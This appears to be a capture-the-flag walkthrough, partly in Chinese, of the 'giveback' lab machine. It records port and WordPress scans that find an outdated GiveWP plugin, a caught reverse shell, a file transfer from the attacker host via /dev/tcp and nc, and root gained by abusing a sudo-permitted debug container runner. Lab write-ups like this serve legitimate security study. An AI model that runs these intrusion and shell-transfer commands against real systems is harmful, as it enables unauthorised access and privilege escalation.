[~] The config file is expected to be at "/root/.rustscan.toml" [~] Automatically increasing ulimit value to 5000. Open 10.10.11.94:22 Open 10.10.11.94:80 Open 10.10.11.94:30686 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-17 19:03 EST Initiating Ping Scan at 19:03 Scanning 10.10.11.94 [4 ports] Completed Ping Scan at 19:03, 0.11s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:03 Completed Parallel DNS resolution of 1 host. at 19:03, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 19:03 Scanning 10.10.11.94 [3 ports] Discovered open port 80/tcp on 10.10.11.94 Discovered open port 22/tcp on 10.10.11.94 Discovered open port 30686/tcp on 10.10.11.94 Completed SYN Stealth Scan at 19:03, 0.16s elapsed (3 total ports) Nmap scan report for 10.10.11.94 Host is up, received echo-reply ttl 63 (0.095s latency). Scanned at 2025-11-17 19:03:40 EST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 62 30686/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] It seems like you have not updated the database for some time. [?] Do you want to update now? [Y]es [N]o, default: [N]n [+] URL: http://10.10.11.94/ [10.10.11.94] [+] Started: Tue Nov 1800:35:032025
[+] WordPress readme found: http://10.10.11.94/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] WordPress version 6.8.1 identified (Insecure, released on 2025-04-30). | Found By: Emoji Settings (Passive Detection) | - http://10.10.11.94/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=6.8.1' | Confirmed By: Meta Generator (Passive Detection) | - http://10.10.11.94/, Match: 'WordPress 6.8.1'
[+] WordPress theme in use: bizberg | Location: http://10.10.11.94/wp-content/themes/bizberg/ | Latest Version: 4.2.9.79 (up to date) | Last Updated: 2024-06-09T00:00:00.000Z | Readme: http://10.10.11.94/wp-content/themes/bizberg/readme.txt | Style URL: http://10.10.11.94/wp-content/themes/bizberg/style.css?ver=6.8.1 | Style Name: Bizberg | Style URI: https://bizbergthemes.com/downloads/bizberg-lite/ | Description: Bizberg is a perfect theme for your business, corporate, restaurant, ingo, ngo, environment, nature,... | Author: Bizberg Themes | Author URI: https://bizbergthemes.com/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 4.2.9.79 (80% confidence) | Found By: Style (Passive Detection) | - http://10.10.11.94/wp-content/themes/bizberg/style.css?ver=6.8.1, Match: 'Version: 4.2.9.79'
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] * | Location: http://10.10.11.94/wp-content/plugins/*/ | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | The version could not be determined.
[+] give | Location: http://10.10.11.94/wp-content/plugins/give/ | Last Updated: 2025-11-05T14:00:00.000Z | [!] The version is out of date, the latest version is 4.13.0 | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: | Urls In 404 Page (Passive Detection) | Meta Tag (Passive Detection) | Javascript Var (Passive Detection) | | Version: 3.14.0 (100% confidence) | Found By: Query Parameter (Passive Detection) | - http://10.10.11.94/wp-content/plugins/give/assets/dist/css/give.css?ver=3.14.0 | Confirmed By: | Meta Tag (Passive Detection) | - http://10.10.11.94/, Match: 'Give v3.14.0' | Javascript Var (Passive Detection) | - http://10.10.11.94/, Match: '"1","give_version":"3.14.0","magnific_options"'
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverseshell from beta-vino-wp-wordpress-685554584c-sq2j9-10.10.11.94-Linux-x86_64 😍 Assigned SessionID <1> [+] Attempting to upgrade shellto PTY... [!] Python agent cannot be deployed. I need to maintain at least one basic session to handle the PTY [+] Attempting to spawn areverseshellon10.10.16.20:4444 [+] Got reverseshell from beta-vino-wp-wordpress-685554584c-sq2j9-10.10.11.94-Linux-x86_64 😍 Assigned SessionID <2> [+] Shell upgraded successfully using /usr/bin/script! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/beta-vino-wp-wordpress-685554584c-sq2j9~10.10.11.94_Linux_x86_64/2025_11_17-19_45_05-633.log 📜 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── id uid=1001 gid=0(root) groups=0(root),1001 I have no name!@beta-vino-wp-wordpress-685554584c-sq2j9:/opt/bitnami/wordpress/wp-admin$
I have no name!@beta-vino-wp-wordpress-685554584c-sq2j9:/tmp$ cat /etc/hosts # Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.42.1.249 beta-vino-wp-wordpress-685554584c-sq2j9
# Entries added by HostAliases. 127.0.0.1 status.localhost
这里采用Enchanter师傅提供的传输方法。
kali：
1
nc -lvnp 9999 < socat-linux-amd64
受害机器：
1 2 3
I have no name!@beta-vino-wp-wordpress-685554584c-sq2j9:/tmp$ exec 3<>/dev/tcp/10.10.16.20/9999 I have no name!@beta-vino-wp-wordpress-685554584c-sq2j9:/tmp$ cat <&3 > socat I have no name!@beta-vino-wp-wordpress-685554584c-sq2j9:/tmp$ exec 3>&-
ssh babywyrm@10.10.11.94 The authenticity of host '10.10.11.94 (10.10.11.94)' can't be established. ED25519 key fingerprint is SHA256:QW0UEukNwOzzXzOIYR311JYiuhYUEv8FYbRgwiKZ35g. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.94' (ED25519) to the list of known hosts. babywyrm@10.10.11.94's password: Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-124-generic x86_64)
babywyrm@giveback:~$ mkdir -p root/rootfs babywyrm@giveback:~$ cd root/ babywyrm@giveback:~/root$ vim config.json babywyrm@giveback:~/root$ sudo /opt/debug run test [*] Validating sudo privileges... [*] Sudo validation successful Please enter the administrative password:
[*] Administrative password verified [*] Processingcommand: run [*] Startingcontainer: test babywyrm@giveback:~/root$ /tmp/root bash -p rootbash-5.1# id uid=1000(babywyrm) gid=1000(babywyrm) euid=0(root) groups=1000(babywyrm)
